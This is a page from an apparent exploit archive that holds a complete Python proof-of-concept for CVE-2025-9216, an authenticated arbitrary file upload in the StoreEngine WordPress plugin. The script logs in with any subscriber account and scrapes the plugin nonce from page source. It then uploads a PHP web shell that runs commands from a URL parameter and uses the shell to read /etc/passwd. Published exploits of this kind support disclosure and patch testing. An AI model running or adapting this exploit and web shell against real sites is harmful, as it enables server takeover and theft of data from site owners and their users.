4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-9216.py PY
# Exploit Title: StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload
# Date: 08/18/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/storeengine/
# Version: <= 1.4.0
# CVE : CVE-2025-9216
# Prerequisites: CSV Import/Export addon must be enabled by administrator
import re
import json
import urllib3
import logging
import requests
import argparse
import urllib.parse

def wp_login(victim_url: str, username: str, password: str): 
    with requests.Session() as s:
        headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
        datas={ 
            'log':username, 'pwd':password, 'wp-submit':'Log In', 
            'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'  
        }
        s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
        return(s)

def main():
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Parse command line arguments
    parser = argparse.ArgumentParser(description="StoreEngine Subscriber+ Remote Code Execution via CSV Import.")
    parser.add_argument("victim_url", help="Target url or ip address.")
    parser.add_argument("username", help="The username for the WordPress instance.")
    parser.add_argument("password", help="The password for the WordPress instance.")
    args = parser.parse_args()

    # Log into WordPress and use this session for the requests.
    print(f"Logging into: {args.victim_url}/wp-admin")
    print("NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)")
    wp_session = wp_login(args.victim_url,args.username,args.password)

    ##################################################################################################################################################
    # Extract nonce from frontend scripts (accessible to ANY authenticated user)
    ##################################################################################################################################################
    print("Extracting nonce from frontend scripts (accessible to any user)...")
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
    
    # The nonce is exposed to ALL frontend users via frontend_scripts()
    # We can get it from any page that loads the StoreEngine frontend scripts
    r = wp_session.get(f"{args.victim_url}/", headers=headers, verify=False)
    
    # Look for the nonce in the page source
    nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text)
    if not nonce_match:
        # Try alternative nonce patterns
        nonce_match = re.search(r'storeengine_nonce["\']?\s*:\s*["\']([^"\']+)["\']', r.text)
    
    if not nonce_match:
        print("Could not find nonce in frontend. Trying admin page as fallback...")
        # Fallback to admin page
        r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=storeengine", headers=headers, verify=False)
        nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text)
    
    if not nonce_match:
        print("ERROR: Could not extract nonce. The exploit may not work.")
        return
    
    nonce = nonce_match.group(1)
    print(f"storeengine_nonce: {nonce}")
    print("NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!")

    ##################################################################################################################################################
    # Note: CSV Import/Export addon must be enabled by admin before exploitation
    ##################################################################################################################################################
    print("NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.")
    print("This exploit demonstrates the vulnerability once the addon is already enabled.")

    ##################################################################################################################################################
    # Upload the php web shell.
    ################################################################################################################################################## 
    print("Uploading web shell: omg.php")
    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
    }
    data  = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
    data += "Content-Disposition: form-data; name=\"action\"\r\n\r\nstoreengine_csv/import\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
    data += "Content-Disposition: form-data; name=\"security\"\r\n\r\n"
    data += f"{nonce}\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
    data += "Content-Disposition: form-data; name=\"file\"; filename=\"omg.php\"\r\n"
    data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n"
    data += "<?php\r\n    // Silence is golden\r\n    // If you want to run arbitrary commands a webshell is better.\r\n    if (!empty($_GET['cmd'])) {\r\n        echo \"<pre>\".shell_exec($_GET['cmd']).\"</pre>\";\r\n    }\r\n?>\r\n"
    data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n"
    
    r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)
    print(f"File upload response: {r.text}")
    
    ##################################################################################################################################################
    # Test the web shell
    ##################################################################################################################################################   
    print("")
    print(f"Web Shell At: {args.victim_url}/wp-content/uploads/storeengine_uploads/csv/omg.php")
    print("")
    print("Executing test command: cat /etc/passwd")
    r = wp_session.get(f"{args.victim_url}/wp-content/uploads/storeengine_uploads/csv/omg.php?cmd=cat /etc/passwd", verify=False)
    print(r.text)

if __name__ == "__main__":
    main()